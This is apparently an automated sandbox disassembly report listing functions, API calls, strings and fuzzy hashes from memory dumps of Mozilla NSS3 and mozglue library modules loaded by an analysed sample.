Instruction ID: d6d5194b6d2295b5bd46bd6f8fe0d63c2e4fadf0671e96c95e02e68246fab9b4
Opcode Fuzzy Hash: 41774495d15dcf7635906c93c7cbe07b02eb0e7788f1aaed17b9e9b3872f2388
Instruction Fuzzy Hash: D9519DB1E00602AFDB20DF25D989A5AB7B4FF04328F144675E81897A12E739E865CBD1

Function 6C704CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C70AB7F,?,00000000,?), ref: 6C704CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C70AB7F,?,00000000,?), ref: 6C704CC8
TlsGetValue.KERNEL32(?,6C70AB7F,?,00000000,?), ref: 6C704CE0
EnterCriticalSection.KERNEL32(?,?,6C70AB7F,?,00000000,?), ref: 6C704CF4
PL_HashTableLookup.NSS3(?,?,?,6C70AB7F,?,00000000,?), ref: 6C704D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C704D10

Part of subcall function 6C78DD70: TlsGetValue.KERNEL32 ref: 6C78DD8C
Part of subcall function 6C78DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C78DDB4

PR_Now.NSS3(?,00000000,?), ref: 6C704D26

Part of subcall function 6C7A9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C7F0A27), ref: 6C7A9DC6
Part of subcall function 6C7A9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C7F0A27), ref: 6C7A9DD1

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C704D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C704DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C704E02

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTable
String ID:
API String ID: 3089169597-0
Opcode ID: bd26511218d7aa12df388f3ddacb9776d6e1cf4fdc0091087023b8d85834e60e
Instruction ID: 598e2e611d1688edb2178930d0b3b24aab6b6ac76e7d44b1ca74c725fb8cb8be
Opcode Fuzzy Hash: bd26511218d7aa12df388f3ddacb9776d6e1cf4fdc0091087023b8d85834e60e
Instruction Fuzzy Hash: 1441F7F5A00201ABEB10AF28ED4595A77F9BF1621CF054171ED1887B12FB31E925CBE5

Function 6C6E2E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C6E2CDA,?,00000000), ref: 6C6E2E1E

Part of subcall function 6C73FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C6E9003,?), ref: 6C73FD91
Part of subcall function 6C73FD80: PORT_Alloc_Util.NSS3(A4686C74,?), ref: 6C73FDA2
Part of subcall function 6C73FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C74,?,?), ref: 6C73FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C6E2E33

Part of subcall function 6C73FD80: free.MOZGLUE(00000000,?,?), ref: 6C73FDD1

TlsGetValue.KERNEL32 ref: 6C6E2E4E
EnterCriticalSection.KERNEL32(?), ref: 6C6E2E5E
PL_HashTableLookup.NSS3(?), ref: 6C6E2E71
PL_HashTableRemove.NSS3(?), ref: 6C6E2E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C6E2E96
PR_Unlock.NSS3 ref: 6C6E2EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6E2EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6E2EC5

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: ffece616ccbb06a1584d2eb89d7bca0bf6c94b19b4d58983dbedd9f7ff08eb2f
Instruction ID: 15b6b63c461d82d2ffc7cfa1b1b9a59fdc2c19791353082d96645406bac535de
Opcode Fuzzy Hash: ffece616ccbb06a1584d2eb89d7bca0bf6c94b19b4d58983dbedd9f7ff08eb2f
Instruction Fuzzy Hash: 43213A72A0412167DF212B24EC0EA9B3BB5DB4635DF054031ED18C6712F732D559C6E5

Function 6C66CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C66B999), ref: 6C66CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C66B999), ref: 6C66D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C66B999), ref: 6C66D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C66B999), ref: 6C7B972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C66CFDD, 6C66D00E, 6C66D022, 6C66D033, 6C7B9780
%s at line %d of [%.10s], xrefs: 6C66CFEC, 6C66D018, 6C66D029, 6C66D03F, 6C7B978B
database corruption, xrefs: 6C66CFE7, 6C66D013, 6C66D028, 6C66D039, 6C66D03E, 6C7B9786

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 42c5af447d2d5d81938af575dabd78e7ffa7a9c4645c3fd27949b338acbbf88b
Instruction ID: 46ba904726d790a898bfaf2ad9f3d9804953bd5c97ce7b9bfe9ec5066b0fbbff
Opcode Fuzzy Hash: 42c5af447d2d5d81938af575dabd78e7ffa7a9c4645c3fd27949b338acbbf88b
Instruction Fuzzy Hash: 53614871A042109BD320CF2AC940BA7B7F1EFA6318F28456DE4499BF42D37AD946C7E5

Function 6C744DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C74536F,00000022,?,?,00000000,?), ref: 6C744E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C744F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C744F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C744FAE
free.MOZGLUE(?), ref: 6C744FC8

Strings

%s=%s, xrefs: 6C744F89
oStl", xrefs: 6C744DFB, 6C744EF4, 6C744EC5
%s=%c%s%c, xrefs: 6C744FA9

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oStl"
API String ID: 2709355791-1942884824
Opcode ID: 5809dc4d30e9a4aff8cf046b9d42a8de44e5cdd68947ac9879ec52b778548291
Instruction ID: c3a730817fbf626f8632864e871ea8c1a4ac20f042992fe9b5e72e0aa1890116
Opcode Fuzzy Hash: 5809dc4d30e9a4aff8cf046b9d42a8de44e5cdd68947ac9879ec52b778548291
Instruction Fuzzy Hash: 9B513971A451668BEB01CE69C690BFFBBF99F42308F18C135E894A7B41D3359805B791

Function 6C76EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C78A4A1,?,00000000,?,00000001), ref: 6C76EF6D

Part of subcall function 6C78C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C78C2BF

htonl.WSOCK32(00000000,?,6C78A4A1,?,00000000,?,00000001), ref: 6C76EFE4
htonl.WSOCK32(?,00000000,?,6C78A4A1,?,00000000,?,00000001), ref: 6C76EFF1
memcpy.VCRUNTIME140(?,?,6C78A4A1,?,00000000,?,6C78A4A1,?,00000000,?,00000001), ref: 6C76F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C78A4A1,?,00000000,?,00000001), ref: 6C76F027

Strings

dtls13, xrefs: 6C76EF33

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 3357d2453b0c2e2833c6462b426b1282135fca0379ba469c225451bda7c19a9a
Instruction ID: 68fd478c3d6c7806131f1e0f7991f0c3741d68227a43ece8dd1d488e7102a1e9
Opcode Fuzzy Hash: 3357d2453b0c2e2833c6462b426b1282135fca0379ba469c225451bda7c19a9a
Instruction Fuzzy Hash: AC310371A01219AFC710CF29DE84B8AB7E4AF48358F158139EC189BB51E731E916CBE1

Function 6C6EAF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C6EAFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C809500,6C6E3F91), ref: 6C6EAFD2

Part of subcall function 6C73B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8118D0,?), ref: 6C73B095

DER_GetInteger_Util.NSS3(?), ref: 6C6EB007

Part of subcall function 6C736A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C6E1666,?,6C6EB00C,?), ref: 6C736AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C6EB02F
PR_CallOnce.NSS3(6C842AA4,6C7412D0), ref: 6C6EB046
PL_FreeArenaPool.NSS3 ref: 6C6EB058
PL_FinishArenaPool.NSS3 ref: 6C6EB060

Strings

security, xrefs: 6C6EAFB8

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 5985b6952f5341fb2e680357223e4ca545159a05b3b88126f1eff58b55e4acfa
Instruction ID: ea965d549c7dac46bc0743061d91b55e062474322117c05270faea8eacbdf0a3
Opcode Fuzzy Hash: 5985b6952f5341fb2e680357223e4ca545159a05b3b88126f1eff58b55e4acfa
Instruction Fuzzy Hash: F9310C7140930097D7208F14DD48BAA77A4AF8A36CF144619E97497BD1E336A109C79F

Function 6C72CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C72CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C72CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C72D079

Part of subcall function 6C78C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C78C2BF

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 5081c89782011104af723133ff424a1171464cf48da1ec1879fe2f31a495e1c2
Instruction ID: 6e224e8509aa6277c546c872ad3d64f9da71be9618b9d57d52ea9e3bb4f7a712
Opcode Fuzzy Hash: 5081c89782011104af723133ff424a1171464cf48da1ec1879fe2f31a495e1c2
Instruction Fuzzy Hash: 44C19FB1A002199BEB20CF24CD85BDAB7B4BF58318F1441A8D94CA7741E779EE95CF90

Function 6C6E2C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(AD4D518F), ref: 6C6E2C5D

Part of subcall function 6C740D30: calloc.MOZGLUE ref: 6C740D50
Part of subcall function 6C740D30: TlsGetValue.KERNEL32 ref: 6C740D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C6E2C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6E2CE0

Part of subcall function 6C6E2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C6E2CDA,?,00000000), ref: 6C6E2E1E
Part of subcall function 6C6E2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C6E2E33
Part of subcall function 6C6E2E00: TlsGetValue.KERNEL32 ref: 6C6E2E4E
Part of subcall function 6C6E2E00: EnterCriticalSection.KERNEL32(?), ref: 6C6E2E5E
Part of subcall function 6C6E2E00: PL_HashTableLookup.NSS3(?), ref: 6C6E2E71
Part of subcall function 6C6E2E00: PL_HashTableRemove.NSS3(?), ref: 6C6E2E84
Part of subcall function 6C6E2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C6E2E96
Part of subcall function 6C6E2E00: PR_Unlock.NSS3 ref: 6C6E2EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E2D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C6E2D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C6E2D3F
free.MOZGLUE(00000000), ref: 6C6E2D73
CERT_DestroyCertificate.NSS3(?), ref: 6C6E2DB8
free.MOZGLUE ref: 6C6E2DC8

Part of subcall function 6C6E3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6E3EC2
Part of subcall function 6C6E3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C6E3ED6
Part of subcall function 6C6E3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6E3EEE
Part of subcall function 6C6E3E60: PR_CallOnce.NSS3(6C842AA4,6C7412D0), ref: 6C6E3F02
Part of subcall function 6C6E3E60: PL_FreeArenaPool.NSS3 ref: 6C6E3F14
Part of subcall function 6C6E3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6E3F27

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 6bde9419882b441b2c8a08ae9bd5442fd865273175642a08befbe18b0d215ff3
Instruction ID: a3f0f8a4772bfbcf8ee560fc081657578d0825ff2d3461e38b8fa3b47cb54150
Opcode Fuzzy Hash: 6bde9419882b441b2c8a08ae9bd5442fd865273175642a08befbe18b0d215ff3
Instruction Fuzzy Hash: 3F512371A0A3169BDB10DF64CC89B5B77E6EF88308F14053EED4983650E731E815CB9A

Function 6C708F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C6FDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C708FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C6FDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C708FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C6FDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C708FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C6FDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C709013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C6FDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C709042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C6FDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C70905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C6FDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C709073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C6FDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C7090EC

Part of subcall function 6C6D0F00: PR_GetPageSize.NSS3(6C6D0936,FFFFE8AE,?,6C6616B7,00000000,?,6C6D0936,00000000,?,6C66204A), ref: 6C6D0F1B
Part of subcall function 6C6D0F00: PR_NewLogModule.NSS3(clock,6C6D0936,FFFFE8AE,?,6C6616B7,00000000,?,6C6D0936,00000000,?,6C66204A), ref: 6C6D0F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C6FDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C709111

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: 43522957d9366672879d1b7d822e0f960c40c64618bdbce17d78b42ecb589596
Instruction ID: 1228070c0953dbd2d634ed40ca1a7037b52dad4ffbe2834b0c3fc68035ec8d83
Opcode Fuzzy Hash: 43522957d9366672879d1b7d822e0f960c40c64618bdbce17d78b42ecb589596
Instruction Fuzzy Hash: 88518BB0B042158FCB10EF78C688699BBF0BF49318F055679DC489B706EB34E885CB91

Function 6C5FCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5C31A7), ref: 6C5FCDDD

Strings

<jemalloc>, xrefs: 6C5FCF9F, 6C5FCFB3
: (malloc) Error in VirtualFree(), xrefs: 6C5FCFA4, 6C5FCFB8

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: dd0bbb45aa1ebda2987c854878957b757dfe4b5ca1c69d2e0503aff968d0821a
Instruction ID: 3b0c28d126878923b15209955da3c414341ad03013cf409e5857301fddd3ebf1
Opcode Fuzzy Hash: dd0bbb45aa1ebda2987c854878957b757dfe4b5ca1c69d2e0503aff968d0821a
Instruction Fuzzy Hash: D631A6317402055BFB29EE65CC45BAE7775AB81758F20C424F625ABA80DB70E502CF99

Function 6C67E890 Relevance: 12.4, APIs: 5, Strings: 3, Instructions: 442stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C67E922
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C67E9CF
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C67EA0F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C67EB20
memcpy.VCRUNTIME140(?,?,?), ref: 6C67EB57

Strings

number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 6C67EDC2
foreign key on %s should reference only one column of table %T, xrefs: 6C67EE04
unknown column "%s" in foreign key definition, xrefs: 6C67ED18

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: memcpystrlen$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 638109778-272990098
Opcode ID: ba1977a5d52be5b8b947255fb594ce988fcd74b2257442730982725e6f72cc5a
Instruction ID: 8fa26893dabef1a4200dedd3a75da3182a073771148edda9006bc52c50df0cda
Opcode Fuzzy Hash: ba1977a5d52be5b8b947255fb594ce988fcd74b2257442730982725e6f72cc5a
Instruction Fuzzy Hash: 01029175E00109CFDB14CF99C580AEEBBF2FF89308F294969D815AB751D731A849CBA4

Function 6C5CECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5CF100: LoadLibraryW.KERNEL32(shell32,?,6C63D020), ref: 6C5CF122
Part of subcall function 6C5CF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5CF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C5CED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5CEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C5CEDCC
CreateFileW.KERNEL32 ref: 6C5CEE08
free.MOZGLUE(00000000), ref: 6C5CEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C5CEE32

Part of subcall function 6C5CEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C5CEBB5
Part of subcall function 6C5CEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C5FD7F3), ref: 6C5CEBC3
Part of subcall function 6C5CEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C5FD7F3), ref: 6C5CEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C5CEDC1

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

